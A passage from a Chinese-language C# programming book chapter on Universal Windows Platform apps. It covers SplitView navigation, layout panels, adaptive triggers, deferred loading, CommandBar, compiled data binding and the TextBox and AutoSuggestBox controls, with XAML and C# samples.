SplitViewTogglePaneButtonStyle}" IsChecked="{x:Bind Path=RootSplitView.IsPaneOpen, Mode=TwoWay, Converter={StaticResource boolConverter}}" Unchecked="HamburgerMenu_UnChecked" AutomationProperties.Name="Menu" ToolTipService.ToolTip="Menu" />  注意: 已编译的绑定不像传统绑定那样支持元素到元素的绑定。然而,因为 SplitView指定了名称RootSplitView,所以这个变量可以直接在代码中使用,也可以在 已编译的绑定中使用。 最后,需要把一些内容添加到SplitView窗格中。 32.2.10 给SplitView窗格添加内容 SplitView的窗格现在应该列出菜单按钮,以导航到不同的页面。示例代码在ListView 控件中利用了简单的按钮控件。ListView定义了Header、Footer和Items部分。Header部分 包括一个后退按钮。此前,通过SystemNavigationManager使用系统的后退按钮。除了这个 系统后退按钮之外,还可以使用定制的按钮,如这里所示。这个按钮元素把IsEnabled属性 绑定到AppFrame.CanGoBack上,根据是否有可用的回退堆栈,来改变IsEnabled模式。 ListView的Footer定义了一个设置按钮。在ListView的项列表内,创建Home和Edit按钮, 以导航到相应的页面(代码文件AppShellSample /AppShell.xaml): <SplitView.Pane> <ListView TabIndex="3" x:Name="NavMenuList" Margin="0,48,0,0"> <ListView.Header> <Button x:Name="BackButton" TabIndex="2" Style="{StaticResource NavigationBackButtonStyle}" IsEnabled="{x:Bind AppFrame.CanGoBack, Mode=OneWay}" Width="{x:Bind Path=NavMenuList.Width, Mode=OneWay}" HorizontalAlignment= "{x:Bind Path=NavMenuList.HorizontalAlignment, Mode=OneWay}" Click="{x:Bind Path=BackButton_Click}"/> </ListView.Header> <ListView.Items> <Button x:Name="HomeButton" Margin="-12" Padding="0" TabIndex="3" Style="{StaticResource HomeButtonStyle}" Width="{x:Bind Path=NavMenuList.Width}" HorizontalAlignment= "{x:Bind Path=NavMenuList.HorizontalAlignment}" Click="{x:Bind Path=GoToHomePage}" /> <Button x:Name="EditButton" Margin="-12" Padding="0" TabIndex="4" Style="{StaticResource EditButtonStyle}" Width="{x:Bind Path=NavMenuList.Width}" HorizontalAlignment= "{x:Bind Path=NavMenuList.HorizontalAlignment}" Click="{x:Bind Path=GoToEditPage}" /> </ListView.Items> <ListView.Footer> <Button x:Name="SettingsButton" TabIndex="3" Style="{StaticResource SettingsButtonStyle}" Width="{x:Bind Path=NavMenuList.Width}" HorizontalAlignment= "{x:Bind Path=NavMenuList.HorizontalAlignment}" /> </ListView.Footer> </ListView> </SplitView.Pane> 这些按钮的符号使用Segoe MDL2 Assets的字体定义,与之前创建的汉堡按钮一样。 这些按钮需要文本和图标。这些在Grid元素中定义(代码文件AppShellSample / Styles/Styles. xaml): <Style x:Key="NavigationBackButtonStyle" TargetType="Button" BasedOn="{StaticResource NavigationBackButtonNormalStyle}"> <Setter Property="HorizontalAlignment" Value="Stretch"/> <Setter Property="HorizontalContentAlignment" Value="Stretch"/> <Setter Property="Height" Value="48"/> <Setter Property="Width" Value="NaN"/> <Setter Property="MinWidth" Value="48"/> <Setter Property="AutomationProperties.Name" Value="Back"/> <Setter Property="Content"> <Setter.Value> <Grid> <Grid.ColumnDefinitions> <ColumnDefinition Width="48" /> <ColumnDefinition /> </Grid.ColumnDefinitions> <FontIcon Grid.Column="0" FontSize="16" Glyph="&#xE0D5; " MirroredWhenRightToLeft="True" VerticalAlignment="Center" HorizontalAlignment="Center"/> <TextBlock Grid.Column="1" Style="{ThemeResource BodyTextBlockStyle}" Text="Back" VerticalAlignment="Center" /> </Grid> </Setter.Value> </Setter> </Style> 通过单击Edit按钮,调用处理程序方法GoToEditPage,就使用SplitView中的Frame导 航到Edit页面(代码文件AppShellSample / AppShell.xaml.cs): public void GoToEditPage() { AppFrame? .Navigate(typeof(EditPage)); } 当单击Home按钮时,不仅应该导航进入主页,也还应该退出Frame的完整堆栈。 Frame没有提供一个直接、明确的方法,从堆栈中删除页面,但在while循环中,只要 CanGoBack返回true,就可以删除页面(代码文件AppShellSample / AppShell.xaml.cs): public void GoToHomePage() { while (AppFrame? .CanGoBack ? ? false) AppFrame.GoBack(); } 当运行应用程序时,可以看到图32-13中的SplitView面板关闭了,图32-14中的 SplitView面板打开了。 图32-13 图32-14 32.3 布局 前一节中讨论的SplitView控件是组织用户界面布局的一个重要控件。在许多新的 Windows 10应用程序中,可以看到这种控件用于主要布局。其他几个控件也定义布局。 本节演示了Variable-SizedWrapGrid在网格中安排自动包装的多个项,RelativePanel相对于 彼此安排各项或相对于父项安排子项,自适应触发器根据窗口的大小重新排列布局。 32.3.1 VariableSizedWrapGrid VariableSizedWrapGrid是一个包装网格,如果网格可用的大小不够大,它会自动包装 下一行或列。这个表格的第二个特征是允许项放在多行或多列中,这就是为什么它称为可 变的原因。 下面的代码片段创建一个VariableSizedWrappedGrid,其方向是Horizontal,行中最多 有20项,行和列的大小是50(代码文件LayoutSamples / Views/ VariableSizedWrapGridSample.xaml): <VariableSizedWrapGrid x:Name="grid1" MaximumRowsOrColumns="20" ItemHeight="5 0" ItemWidth="50" Orientation="Horizontal" /> VariableSizedWrapGrid填充了30个随机大小和颜色的Rectangle和TextBlock元素。根据 大小,可以在网格内使用1到3行或列。项的大小使用附加属性 VariableSizedWrapGrid.ColumnSpan和VariableSizedWrapGrid.RowSpan设置(代码文件 LayoutSamples/Views/VariableSizedWrapGridSample. xaml.cs): protected override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); Random r = new Random(); Grid[] items = Enumerable.Range(0, 30).Select(i => { byte[] colorBytes = new byte[3]; r.NextBytes(colorBytes); var rect = new Rectangle { Height = r.Next(40, 150), Width = r.Next(40, 150), Fill = new SolidColorBrush(new Color { R = colorBytes[0], G = colorBytes[1], B = colorBytes[2], A = 255 }) }; var textBlock = new TextBlock { Text = (i + 1).ToString(), HorizontalAlignment =HorizontalAlignment.Center, VerticalAlignment = VerticalAlignment.Center }; Grid grid = new Grid(); grid.Children.Add(rect); grid.Children.Add(textBlock); return grid; }).ToArray(); foreach (var item in items) { grid1.Children.Add(item); Rectangle rect = item.Children.First() as Rectangle; if (rect.Width > 50) { int columnSpan = ((int)rect.Width / 50) + 1; VariableSizedWrapGrid.SetColumnSpan(item, columnSpan); int rowSpan = ((int)rect.Height / 50) + 1; VariableSizedWrapGrid.SetRowSpan(item, rowSpan); } } 运行应用程序时,可以看到矩形,它们占用了不同的窗口,如图32-15和图32-16所 示。 图32-15 图32-16 32.3.2 RelativePanel RelativePanel是UWP的一个新面板,允许一个元素相对于另一个元素定位。如果使用 的Grid控件定义了行和列,且需要插入一行,就必须修改插入行下面的所有元素。原因是 所有行和列都按数字索引。使用RelativePanel就没有这个问题,它允许根据元素的相对关 系放置它们。  注意: 与RelativePanel相比,Grid控件仍然有它的自动、星形和固定大小的 优势。第34章将详细解释Grid控件。这个控件在WPF中介绍,但在UWP中可以以类似 的方式使用它。 下面的代码片段在RelativePanel内对齐数个TextBlock和TextBox控件、一个按钮和一 个矩形。TextBox元素定位在相应TextBlock元素的右边;按钮相对于面板的底部定位,矩 形与第一个TextBlock的顶部对齐,与第一个TextBox的右边对齐(代码文件LayoutSamples / Views/RelativePanel-Sample.xaml): <RelativePanel> <TextBlock x:Name="FirstNameLabel" Text="First Name" Margin="8" /> <TextBox x:Name="FirstNameText" RelativePanel.RightOf="FirstNameLabel" Margin="8" Width="150" /> <TextBlock x:Name="LastNameLabel" Text="Last Name" RelativePanel.Below="FirstNameLabel" Margin="8" /> <TextBox x:Name="LastNameText" RelativePanel.RightOf="LastNameLabel" Margin="8" RelativePanel.Below="FirstNameText" Width="150" /> <Button Content="Save" RelativePanel.AlignHorizontalCenterWith="LastNameTex t" RelativePanel.AlignBottomWithPanel="True" Margin="8" /> <Rectangle x:Name="Image" Fill="Violet" Width="150" Height="250" RelativePanel.AlignTopWith="FirstNameLabel" RelativePanel.RightOf="FirstNameText" Margin="8" /> </RelativePanel> 图32-17显示了运行应用程序时对齐控件。 图32-17 32.3.3 自适应触发器 RelativePanel是用于对齐的一个好控件。但是,为了支持多个屏幕大小,根据屏幕大 小重新排列控件,可以使用自适应触发器与RelativePanel控件。例如,在小屏幕上, TextBox控件应该安排在TextBlock控件的下方,但在更大的屏幕上,TextBox控件应该在 TextBlock控件的右边。 在以下代码中,之前的RelativePanel改为删除RelativePanel中不应用于所有屏幕尺寸 的所有附加属性,添加一个可选的图片(代码文件LayoutSamples / Views/ AdaptiveRelativePanelSample.xaml): <RelativePanel ScrollViewer.VerticalScrollBarVisibility="Auto" Margin="16"> <TextBlock x:Name="FirstNameLabel" Text="First Name" Margin="8" /> <TextBox x:Name="FirstNameText" Margin="8" Width="150" /> <TextBlock x:Name="LastNameLabel" Text="Last Name" Margin="8" /> <TextBox x:Name="LastNameText" Margin="8" Width="150" /> <Button Content="Save" RelativePanel.AlignBottomWithPanel="True" Margin="8" /> <Rectangle x:Name="Image" Fill="Violet" Width="150" Height="250" Margin="8" /> <Rectangle x:Name="OptionalImage" RelativePanel.AlignRightWithPanel="True" Fill="Red" Width="350" Height="350" Margin="8" /> </RelativePanel> 使用自适应触发器(当启动触发器时,可以使用自适应触发器设置 MinWindowWidth),设置不同的属性值,根据应用程序可用的空间安排元素。随着屏幕 尺寸越来越小,这个应用程序所需的宽度也会变小。向下移动元素,而不是向旁边移动, 可以减少所需的宽度。另外,用户可以向下滚动。对于最小的窗口宽度,可选图像设置为 收缩(代码文件LayoutSamples/Views/AdaptiveRelativePanel-Sample.xaml): <VisualStateManager.VisualStateGroups> <VisualStateGroup> <VisualState x:Name="WideState"> <VisualState.StateTriggers> <AdaptiveTrigger MinWindowWidth="1024" /> </VisualState.StateTriggers> <VisualState.Setters> <Setter Target="FirstNameText.(RelativePanel.RightOf)" Value="FirstNameLabel" /> <Setter Target="LastNameLabel.(RelativePanel.Below)" Value="FirstNameLabel" /> <Setter Target="LastNameText.(RelativePanel.Below)" Value="FirstNameText" /> <Setter Target="LastNameText.(RelativePanel.RightOf)" Value="LastNameLabel" /> <Setter Target="Image.(RelativePanel.AlignTopWith)" Value="FirstNameLabel" /> <Setter Target="Image.(RelativePanel.RightOf)" Value="FirstNameText" /> </VisualState.Setters> </VisualState> <VisualState x:Name="MediumState"> <VisualState.StateTriggers> <AdaptiveTrigger MinWindowWidth="720" /> </VisualState.StateTriggers> <VisualState.Setters> <Setter Target="FirstNameText.(RelativePanel.RightOf)" Value="FirstNameLabel" /> <Setter Target="LastNameLabel.(RelativePanel.Below)" Value="FirstNameLabel" /> <Setter Target="LastNameText.(RelativePanel.Below)" Value="FirstNameText" /> <Setter Target="LastNameText.(RelativePanel.RightOf)" Value="LastNameLabel" /> <Setter Target="Image.(RelativePanel.Below)" Value="LastNameText" /> <Setter Target="Image.(RelativePanel.AlignHorizontalCenterWith)" Value="LastNameText" /> </VisualState.Setters> </VisualState> <VisualState x:Name="NarrowState"> <VisualState.StateTriggers> <AdaptiveTrigger MinWindowWidth="320" /> </VisualState.StateTriggers> <VisualState.Setters> <Setter Target="FirstNameText.(RelativePanel.Below)" Value="FirstNameLabel" /> <Setter Target="LastNameLabel.(RelativePanel.Below)" Value="FirstNameText" /> <Setter Target="LastNameText.(RelativePanel.Below)" Value="LastNameLabel" /> <Setter Target="Image.(RelativePanel.Below)" Value="LastNameText" /> <Setter Target="OptionalImage.Visibility" Value="Collapsed" /> </VisualState.Setters> </VisualState> </VisualStateGroup> </VisualStateManager.VisualStateGroups> 通过ApplicationView类设置SetPreferredMinSize,可以建立应用程序所需的最小窗口 宽度(代码文件LayoutSamples / App.xaml.cs): protected override void OnLaunched (LaunchActivatedEventArgs e) { ApplicationView.GetForCurrentView(). SetPreferredMinSize( new Size { Width = 320, Height = 300 }); // etc. } 运行应用程序时,可以看到最小宽度的布局安排(见图32-18)、中等宽度的布局安 排(见图32-19)和最大宽度的布局安排(见图32-20)。 图32-18 图32-19 图32-20 自适应触发器还可以用于把SplitView的外观改为CompactInline或Overlay模式(代码 文件AppShellSample / AppShell.xaml): <VisualStateManager.VisualStateGroups> <VisualStateGroup> <VisualState> <VisualState.StateTriggers> <AdaptiveTrigger MinWindowWidth="720" /> </VisualState.StateTriggers> <VisualState.Setters> <Setter Target="RootSplitView.DisplayMode" Value="CompactInline"/> <Setter Target="RootSplitView.IsPaneOpen" Value="True"/> </VisualState.Setters> </VisualState> <VisualState> <VisualState.StateTriggers> <AdaptiveTrigger MinWindowWidth="0" /> </VisualState.StateTriggers> <VisualState.Setters> <Setter Target="RootSplitView.DisplayMode" Value="Overlay"/> </VisualState.Setters> </VisualState> </VisualStateGroup> </VisualStateManager.VisualStateGroups> 32.3.4 XAML视图 自适应触发器可以帮助支持很多不同的窗口大小,支持应用程序的布局,以便在手机 和桌面上运行。如果应用程序的用户界面应该有比使用RelativePanel更多的差异,最好的 选择是使用不同的XAML视图。XAML视图只包含XAML代码,并使用与相应页面相同的 后台代码。可以为每个设备系列创建同一个页面的不同XAML视图。 通过创建一个文件夹DeviceFamily-Mobile,可以为移动设备定义XAML视图。设备专 用的文件夹总是以DeviceFamily名称开头。支持的其他设备系列有Team、Desktop和IoT。 可以使用这个设备系列的名字作为后缀,指定相应设备系列的XAML视图。使用XAML View Visual Studio项模板创建一个XAML视图。这个模板创建XAML代码,但没有后台代 码文件。这个视图需要与应该更换视图的页面同名。 除了为移动XAML视图创建另一个文件夹之外,还可以在页面所在的文件夹中创建视 图,但视图文件使用DeviceFamily-Mobile命名。 32.3.5 延迟加载 为了使UI更快,可以把控件的创建延迟到需要它们时再创建。在小型设备上,可能 根本不需要一些控件,但如果系统使用较大的屏幕,也比较快,就需要这些控件。在 XAML应用程序的先前版本中,添加到XAML代码中的元素也被实例化。Windows 10不再 是这种情况,而可以把控件的加载延迟到需要它们时加载。 可以使用延迟加载和自适应触发器,只在稍后的时间加载一些控件。一个样本场景 是,用户可以把小窗口调整得更大。在小窗口中,有些控件不应该是可见的,但它们应该 在更大的窗口中可见。延迟加载可能有用的另一个场景是,布局的某些部分可能需要更多 时间来加载。不是让用户等待,直到显示出完整加载的布局,而可以使用延迟加载。 要使用延迟加载,需要给控件添加x:DeferLoadingStrategy特性,如下面带有Grid控件 的代码片段所示。这个控件也需要分配一个名字(代码文件LayoutSamples / Views/ DelayLoadingSample. xaml): <Grid x:DeferLoadStrategy="Lazy" x:Name="deferGrid" > <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Rectangle Fill="Red" Grid.Row="0" Grid.Column="0" /> <Rectangle Fill="Green" Grid.Row="0" Grid.Column="1" /> <Rectangle Fill="Blue" Grid.Row="1" Grid.Column="0" /> <Rectangle Fill="Yellow" Grid.Row="1" Grid.Column="1" /> </Grid> 为了使这个延迟的控件可见,只需要调用FindName方法访问控件的标识符。这不仅 使控件可见,而且会在控件可见前加载控件的XAML树(代码文件 LayoutSamples/Views/DelayLoadingSample. xaml.cs): private void OnDeferLoad(object sender, RoutedEventArgs e) { FindName(nameof(deferGrid)); } 运行应用程序时,可以用Life Visual Tree窗口验证,包含deferGrid元素的树不可用 (见图32-21),但在调用FindName方法找到deferGrid元素后,deferGrid元素就添加到树 中(参见图32-22)。 图32-21 图32-22 32.4 命令 本章前面介绍了如何为用户处理导航,讨论了用于导航到不同页面的汉堡按钮和正常 按钮。在应用程序中,需要更多的控件,允许用户开始一些操作。Windows 8有一些有趣 的方面,当用户自上而下地刷过屏幕时,它就启动命令栏;隐藏的命令可以使屏幕不太拥 挤。一些很重要的命令控件仍允许直接放在屏幕上。微软的OneNote有一个有趣的控件, 它只使用一个小圈;当用户单击小圈里面时,控件就变大,提供更多的选项。这种设计的 问题在于它不够直观。用户很难找出哪些应用程序允许自上而下地刷过,而且常常不知道 他们可以这样做。在Windows 10中,Windows应用程序可以运行在小窗口中,而不是全屏 运行,这甚至会带来更多的问题。在Windows 10中,可以让命令栏总是保持打开——微 软OneNote的新版本有一个命令控件看起来像Ribbon控件。  注意: 第34章讨论了Ribbon控件。 为了创建可以由用户激活的一列控件,一个简单的方法是使用CommandBar和AppBar 类。CommandBar更容易使用,但没有AppBar的灵活性。使用CommandBar,可以只添加 特定类型的控件,而AppBar允许使用任何元素。 下面的代码示例创建一个放在页面顶部的CommandBar。这个CommandBar包含3个 AppBarButton控件(代码文件ControlsSample / Views / InkSample.xaml): <Page.TopAppBar> <CommandBar> <AppBarButton Icon="Save" Label="Save" Click="{x:Bind OnSave}" /> <AppBarButton Icon="OpenFile" Label="Open" Click="{x:Bind OnLoad}" /> <AppBarButton Icon="Clear" Label="Clear" Click="{x:Bind OnClear}" /> </CommandBar> </Page.TopAppBar> Page类包含TopAppBar和BottomAppBar属性,把应用栏定位在顶部或底部。这些属性 对Windows 8而言是必要的,但现在使用它们只是为了方便。可以把应用程序栏定位在页 面内喜欢的地方。 AppBarButton控件定义为CommandBar的子控件。AppBar按钮的符号可以用几种方式 定义。使用Icon属性,可以指定BitmapIcon、FontIcon、PathIcon或SymbolIcon。(如何使 用Path元素定义矢量图形参见第29章。)使用Icon属性,可以直接分配一个预定义的符 号,进而设置SymbolIcon。预定义的图标例子有Save、OpenFile和Clear。图32-23显示了 扩展模式下带3个AppBar按钮控件的CommandBar。在收缩模式下(单击省略号按钮可以 切换),不显示Label属性的值。 图32-23 AppBarSeparator和AppBarToggleButton是可以包含在CommandBar中的另外两个控件 ——换句话说,就是实现接口ICommandBarElement的任何控件。这个接口定义了 IsCompact属性,使按钮更大或更小,以显示或不显示标签部分。 下面的示例添加AddBarToggleButton控件。AppBarToggleButton类派生自 ToggleButton,添加了ICommandBarElement和IAppBarToggleButton接口。这个按钮像基类 ToggleButton一样,支持3个状态:checked、unchecked和indeterminate,但默认只使用 checked和unchecked。对于符号,使用字体Segoe MDL2 Assets定义一个向量图形符号元素 (代码文件ControlsSample/Views/ InkSample. xaml): <AppBarToggleButton IsChecked="{x:Bind Path=ColorSelection.Red, Mode=TwoWay}" Background="Red" Label="Red"> <AppBarToggleButton.Icon> <FontIcon Glyph="&#xea3a; " /> </AppBarToggleButton.Icon> </AppBarToggleButton> <AppBarToggleButton IsChecked="{x:Bind ColorSelection.Green, Mode=TwoWay}" Background="Green" Label="Green"> <AppBarToggleButton.Icon> <FontIcon Glyph="&#xea3a; "/> </AppBarToggleButton.Icon> </AppBarToggleButton> <AppBarToggleButton IsChecked="{x:Bind ColorSelection.Blue, Mode=TwoWay}" Background="Blue" Label="Blue"> <AppBarToggleButton.Icon> <FontIcon Glyph="&#xea3a; "/> </AppBarToggleButton.Icon> </AppBarToggleButton> 图32-24显示了一个命令栏,其中包含之前创建的两个AppBarButton控件以及 AppBarToggleButton控件,这次使用紧凑模式。 图32-24 CommandBar还允许用于二级命令。如果需要更多的命令,但这些命令在一行中放不 下,尤其是移动设备,就可以使用二级命令。二级命令可以定义为赋予CommandBar元素 的属性SecondaryCommands。 <CommandBar> <CommandBar.SecondaryCommands> <AppBarButton Label="One" Icon="OneBar" /> <AppBarButton Label="Two" Icon="TwoBars" /> <AppBarButton Label="Three" Icon="ThreeBars" /> <AppBarButton Label="Four" Icon="FourBars" /> </CommandBar.SecondaryCommands> <! -- etc. --> 在Windows 10中,单击省略号按钮,可以打开二级命令,如图32-25所示。 图32-25 32.5 已编译的数据绑定 已编译的数据绑定比较快,它使用第31章介绍的x: Bind替代了Binding标记扩展,在 本章前面已经提到它。现在深入讨论已编译绑定的特点。 可以使用已编译的数据绑定作为Binding标记扩展的更快替换。需要旧绑定语法只有 几个原因,例如,在属性变化(而不是焦点变化)时触发绑定。在未来版本中已编译的绑 定更加强大时,这肯定会改变。目前,根本不使用编译的绑定没有足够的理由,因为可以 混合编译的绑定和Binding标记表达式。 第31章介绍了已编译绑定的新语法,用x:Bind替代Binding,在编译代码时,甚至会得 到一个编译错误。 已编译的绑定专注于性能,默认模式是OneTime。如果在代码的变更中需要更新用户 界面,就需要显式地把模式设置为OneWay。为了在UI中更新源代码,需要设置TwoWay 模式。已编译的绑定使用与Binding表达式相同的模式,但默认值是不同的。 因为已编译的绑定已经在第31章讨论了,本章只涉及已编译绑定的一些特殊功能,比 如在资源中使用它,控制绑定的生命周期。 32.5.1 已编译绑定的生命周期 使用已编译的绑定,代码会从绑定中生成。也可以通过编程方式影响绑定的生命周 期。 下面从一个简单的Book类型开始,它在用户界面中绑定(代码文件 CompiledBindingSample /Models/Book.cs): public class Book : BindableBase { public int BookId { get; set; } private string _title; public string Title { get { return _title; } set { SetProperty(ref _title, value); } } public string Publisher { get; set; } public override string ToString() => Title; } 使用页面类,创建一个只读属性Book,返回一个Book实例。Book实例的值可以改 变,而Book实例本身是只读的(代码文件CompiledBindingSample / Views/ LifetimeSample.xaml.cs): public Book Book { get; } = new Book { Title = "Professional C# 6", Publisher = "Wrox Press" }; 在XAML代码中,Title属性是TextBlock的Text属性,且采用OneWay模式。绑定了 Publisher,但没有指定模式,这意味着它绑定OneTime(代码文件 CompiledBindingSample/Views/Lifetime-Sample.xaml): <StackPanel> <TextBlock Text="{x:Bind Book.Title, Mode=OneWay}" /> <TextBlock Text="{x:Bind Book.Publisher}" /> </StackPanel> 接下来,绑定几个AppBarButton控件,改变已编译绑定的生命周期。一个按钮的 Click事件绑定到OnChangeBook方法上。该方法改变书的标题。如果尝试一下,标题会立 即更新,因为执行了OneTime绑定(代码文件CompiledBindingSample / Views / LifetimeSample.xaml.cs): public void OnChangeBook() { Book.Title = "Professional C# 6 and .NET Core 5"; } 然而,可以停止绑定的跟踪。使用页面的Bindings属性调用方法StopTracking(如果 使用的是已编译的绑定,就创建该属性),删除所有绑定侦听器。调用方法 OnChangeBook之前调用这个方法,书的更新就不会反映在用户界面中: private void OnStopTracking() { Bindings.StopTracking(); } 为了在绑定源中明确地更新用户界面,可以调用Update方法。调用这个方法不仅反映 了OneWay或TwoWay绑定中的变化,还反映了OneTime绑定: private void OnUpdateBinding() { Bindings.Update(); } 为了把侦听器放在适当的位置上,立即更新用户界面,需要调用Initialize方法。 Initialize、Update和StopTracking是控制已编译绑定的生命周期的3个重要方法。 32.5.2 给已编译的数据模板使用资源 使用编译的绑定定义数据模板很容易,只需要用数据模板指定x: DataType特性,因为 这是生成强类型代码所必须的。不过,把数据模板放在资源文件中有一个问题。在页面中 使用数据模板很容易,因为页面已经创建了后台代码,这是数据模板包含编译的绑定所必 须的。下面看看需要做什么才能将这样的数据模板放在资源文件中。 在示例代码中,生成了DataTemplates.xaml资源文件。所需的资源是一个封闭的类 (代码文件CompiledBindingSample / Styles / DataTemplates.xaml.cs): namespace CompiledBindingSample.Styles { public sealed partial class DataTemplates { public DataTemplates() { this.InitializeComponent(); } } } XAML文件和往常一样,仍包含数据模板。只是注意x: Class特性把 ResourceDictionary映射到后台代码文件中的类。数据模板还包含.NET Models名称空间的 XML别名,把Book类型和已编译的绑定映射到Title和Publisher属性上(代码文件 CompiledBindingSample/Styles/DataTemplates.xaml): <ResourceDictionary x:Class="CompiledBindingSample.Styles.DataTemplates" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:model="using:CompiledBindingSample.Models" xmlns:local="using:CompiledBindingSample.Styles"> <DataTemplate x:DataType="model:Book" x:Name="BookTemplate"> <StackPanel> <TextBlock Text="{x:Bind Title}" /> <TextBlock Text="{x:Bind Publisher}" /> </StackPanel> </DataTemplate> </ResourceDictionary> 从App. xaml文件中引用资源文件时,该文件不能像往常一样通过ResourceDictionary 元素来引用。而需要创建一个实例(代码文件CompiledBindingSample / App. xaml): <Application x:Class="CompiledBindingSample.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="using:CompiledBindingSample" xmlns:model="using:CompiledBindingSample.Models" xmlns:styles="using:CompiledBindingSample.Styles" RequestedTheme="Light"> <Application.Resources> <ResourceDictionary> <ResourceDictionary.MergedDictionaries> <styles:DataTemplates /> </ResourceDictionary.MergedDictionaries> </ResourceDictionary> </Application.Resources> </Application> 有了这一切,数据模板就可以像往常一样引用了,例如,使用ListBox的ItemTemplate (代码文件CompiledBindingSample / Views/ BooksListPage.xaml): <ListBox ItemTemplate="{StaticResource BookTemplate}" ItemsSource="{x:Bind Books}" Margin="8" /> 32.6 控件 本书不可能讨论UWP提供的所有控件。然而,它们使用起来很简单,知道如何使用 其中的一些控件,其他控件就不难使用了。许多控件都与WPF控件有相似之处,所以可 以在第34章中读到控件的更多信息。 32.6.1 TextBox控件 对于UWP控件,值得一提的是可用于TextBox控件的Header属性。本章之前已经介绍 了如何用RelativePanel安排编辑表单。在这个示例中,使用一个与TextBlock控件相关的 TextBox控件。通常应该在TextBox中输入的信息由此文本输入控件附近的标签来描述。在 这个示例中,TextBlock控件与RelativePanel一起实现这个目的。还有另一种方式给 TextBox添加信息。使用TextBox控件的Header属性时,不需要定义单独的TextBlock控 件。填充Header属性就可以了。Header属性的值显示在TextBox的旁边(参见图32-26)。 图32-26 当设置InputScope属性时,可以指定应该显示屏幕键盘。图32-27显示了Windows屏幕 键盘,其中InputScope被设置为Formula,如下面的代码片段所示。在这个键盘上可以看到 一些公式专用的键(代码文件ControlsSamples / Views / TextSample.xaml): <TextBox Header="Email" InputScope="EmailNameOrAddress"></TextBox> <TextBox Header="Currency" InputScope="CurrencyAmountAndSymbol"></TextBox> <TextBox Header="Alpha Numeric" InputScope="AlphanumericFullWidth"></TextBox> <TextBox Header="Formula" InputScope="Formula"></TextBox> <TextBox Header="Month" InputScope="DateMonthNumber"></TextBox> 图32-27 32.6.2 AutoSuggest UWP的一个新控件是AutoSuggest控件。这个控件允许用户在控件中输入时给用户提 供建议。这个控件有三个重要的事件。一旦用户在控件中输入,就触发TextChanged事 件。在示例代码中,调用OnTextChanged处理程序方法。如果给用户提供建议,而用户选 择一个建议,就触发SuggestionChosen事件。用户输入文本后——可能是一个建议或输入 的其他单词,就触发QuerySubmitted事件(代码文件ControlsSample / Views / AutoSuggestSample.xaml): <AutoSuggestBox TextChanged="{x:Bind OnTextChanged}" SuggestionChosen="{x:Bind OnSuggestionChosen}" QuerySubmitted="{x:Bind OnQuerySubmitted}" /> 为了让示例代码创建建议,使用HttpClient类从 http://www.cninnovation.com/downloads/Racers. xml中加载一个XML文件,其中包含一级方 程式冠军。导航到页面上,检索XML文件,把内容转化为一组Racer对象(代码文件 ControlsSamples / Views/ AutoSuggestSample.xaml.cs): private const string RacersUri = "http://www.cninnovation.com/downloads/Racers.xml"; private IEnumerable<Racer> _racers; protected async override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); XElement xmlRacers = null; using (var client = new HttpClient()) using (Stream stream = await client.GetStreamAsync(RacersUri)) { xmlRacers = XElement.Load(stream); } _racers = xmlRacers.Elements("Racer").Select(r => new Racer { FirstName = r.Element("Firstname").Value, LastName = r.Element("Lastname").Value, Country = r.Element("Country").Value }).ToList(); } Racer类包含FirstName、LastName和Country属性,以及ToString的一个重载方法(代 码文件ControlsSamples / Models/Racer.cs): public class Racer { public string FirstName { get; set; } public string LastName { get; set; } public string Country { get; set; } public override string ToString() => $"{FirstName} {LastName}, {Country}"; } 只要AutoSuggestBox的文本发生变化,就调用OnTextChanged事件。接收的参数是 AutoSuggest-Box自身(发送方)和AutoSuggestBoxTextChangedEventArgs。使用 AutoSuggestBoxTextChangedEvent-Args,在Reason属性中显示变化的原因。可能的原因是 UserInput、ProgrammaticChange和Suggestion-Chosen。只有原因是UserInput,才需要向用 户提供建议。在这里,检查用户输入是否至少有两个字符。访问AutoSuggestBox的Text属 性,来检索用户输入。这个文本基于输入字符串来查询名字、姓氏和国家。查询的结果分 配给AutoSuggestBox的ItemsSource属性(代码文件ControlsSamples/Views/ AutoSuggestSample.xaml.cs): private void OnTextChanged(AutoSuggestBox sender, AutoSuggestBoxTextChangedEventArgs args) { if (args.Reason == AutoSuggestionBoxTextChangeReason.UserInput && sender.Text.Length >= 2) { string input = sender.Text; var q = _racers.Where( r => r.FirstName.StartsWith(input, StringComparison.CurrentCultureIgnoreCase)) .OrderBy(r => r.FirstName).ThenBy(r => r.LastName) .ThenBy(r => r.Country).ToArray(); if (q.Length == 0) { q = _racers.Where(r => r.LastName.StartsWith(input, StringComparison.CurrentCultureIgnoreCase)) .OrderBy(r => r.LastName).ThenBy(r => r.FirstName) .ThenBy(r => r.Country).ToArray(); if (q.Length == 0) { q = _racers.Where(r => r.Country.StartsWith(input, StringComparison.CurrentCultureIgnoreCase)) .OrderBy(r => r.Country).ThenBy(r => r.LastName) .ThenBy(r => r.FirstName).ToArray(); } } sender.ItemsSource = q; } } 当运行这个应用程序,在AutoSuggestBox中输入Aus时,查询找不到以这个文本开头 的姓或名,但它找到了以这个文本开头的国家。来自以Aus开头的国家的一级方程式冠军 显示在建议列表中,如图32-28所示。 图32-28 如果用户选择了一个建议,就调用OnSuggestionChosen处理程序。建议可以从 AutoSuggestBox-SuggestionChosenEventArgs的SelectedItem属性中检索: private async void OnSuggestionChosen(AutoSuggestBox sender, AutoSuggestBoxSuggestionChosenEventArgs args) { var dlg = new MessageDialog($"suggestion: {args.SelectedItem}"); await dlg.ShowAsync(); } 无论用户是否选择了建议,都会调用OnQuerySubmitted方法,显示结果。结果显示在 参数AutoSuggestBoxQuerySubmittedEventArgs的QueryText属性中。如果选中一个建议, 就在ChosenSuggestion属性中显示它: private async void OnQuerySubmitted(AutoSuggestBox sender, AutoSuggestBoxQuerySubmittedEventArgs args) { string message = $"query: {args.QueryText }"; if (args.ChosenSuggestion ! = null) { message += $" suggestion: {args.ChosenSuggestion}"; } var dlg = new MessageDialog(message); await dlg.ShowAsync(); } 32.6.3 Inking 